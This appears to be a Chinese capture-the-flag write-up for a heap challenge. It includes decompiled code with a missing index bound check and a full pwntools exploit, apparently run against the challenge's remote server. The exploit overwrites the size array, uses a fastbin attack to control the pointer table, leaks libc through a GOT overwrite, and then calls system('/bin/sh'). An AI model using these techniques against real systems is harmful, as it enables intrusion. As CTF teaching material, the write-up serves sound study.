堆,索引上边界溢出。
一个堆题,没开pie的情况下,指针区是完全暴露的。同时对上边界没有检查。利用上边界溢出将数据覆盖块size区将size改大,再利用块的写溢出啥都搞。
int __fastcall m1add(__int64 a1, __int64 a2)
{
int result; // eax
char buf[128]; // [rsp+0h] [rbp-90h] BYREF
void *dest; // [rsp+80h] [rbp-10h]
int v5; // [rsp+88h] [rbp-8h]
size_t nbytes; // [rsp+8Ch] [rbp-4h]
result = dword_6020AC;
if ( dword_6020AC <= 4 )
{
puts("Input size");
result = get_int("Input size", a2);
LODWORD(nbytes) = result;
if ( result <= 4096 )
{
puts("Input cun");
result = get_int("Input cun", a2);
v5 = result;
if ( result <= 4 ) // 对索引上边界没有检查
{
dest = malloc((int)nbytes);
puts("Input content");
if ( (int)nbytes > 112 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, buf, (unsigned int)nbytes);
memcpy(dest, buf, (int)nbytes);
}
*(_DWORD *)(qword_6020C0 + 4LL * v5) = nbytes;
*((_QWORD *)&unk_6020E0 + 2 * v5) = dest;
dword_6020E8[4 * v5] = 1;
++dword_6020AC;
result = fflush(stdout);
}
}
}
return result;
}
具体思路:
- 先利用20用-2建立新块覆盖堆size,将size加大
- 利用上步的溢出进行fastbin attack用stderr的0x7f头作标记错位控制指针区
- 控制指针后就可以随意读写,先是got.free改为plt.puts再作free的时执行puts进行地址泄露
- 再把got.free改为system再free指向bin/sh的指针
完整exp:
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
libc_start_main_ret = 0x20840
else:
p = remote('111.200.241.244', 63082)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so') #远程版本不是给定的ctflibc.so.6
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
menu = b'$ '
def add(idx, size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Input size", str(size).encode())
p.sendlineafter(b"Input cun", str(idx).encode())
p.sendafter(b"Input content", msg)
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Chose one to dele", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Chose one to edit", str(idx).encode())
p.sendafter(b"Input the content\n", msg)
context.log_level = 'debug'
p.sendlineafter(b'$ ', b'A')
add(0, 0x18, b'A'*0x18)
add(1, 0x68, b'A'*0x18)
add(2, 0x68, b'A'*0x18)
add(-2, 0x18, p32(0x1000)*4) #0x6020c0 -> size[] 覆盖size指针,将size改大,修改溢出到下一块的fd进行fastbin attack
free(2)
free(1)
edit(0, b'A'*0x18 + p64(0x71) + p64(0x6020a0 - 0x13)) #ptr[] 错位控制指针区
add(1, 0x68, b'A'*0x18)
add(2, 0x68, b'\x00'*0x13+p32(0xff)*4 + flat(0x6020b0, b'/bin/sh\x00', 0x6020c8,1,elf.got['free'],1,elf.got['puts'],1,0x6020e0)[:-5])
'''
gef➤ x/20gx 0x6020a0
0x6020a0 <stderr>: 0x0000000000000000 0x0000000100000000
0x6020b0: 0x0000100000001000 0x0000100000000068
0x6020c0: 0x00000000006020b0 0x0068732f6e69622f
0x6020d0: 0x00000000006020c8 0x0000000000000001 -1->/bin/sh
0x6020e0: 0x0000000000602018 0x0000000000000001 0->got.free ->plt.puts
0x6020f0: 0x0000000000602020 0x0000000000000001 1->got.puts
0x602100: 0x00000000006020e0 0x0000000000000001
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
gef➤ x/gx 0x602018
0x602018 <free@got.plt>: 0x00007f808cf2b540
'''
edit(0, p64(elf.plt['puts']))
free(1)
p.recv() #?不清楚为什么,直接回车后就有数据,直接readline就没有,所以加一句recv
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
edit(0, p64(libc_elf.sym['system']))
free(-1)
p.sendline(b'cat /flag')
p.interactive()
小坑两个:一是题目给了libc但远程不是这个。二是在free改为puts后不直接输出数据,需多接收一个空行。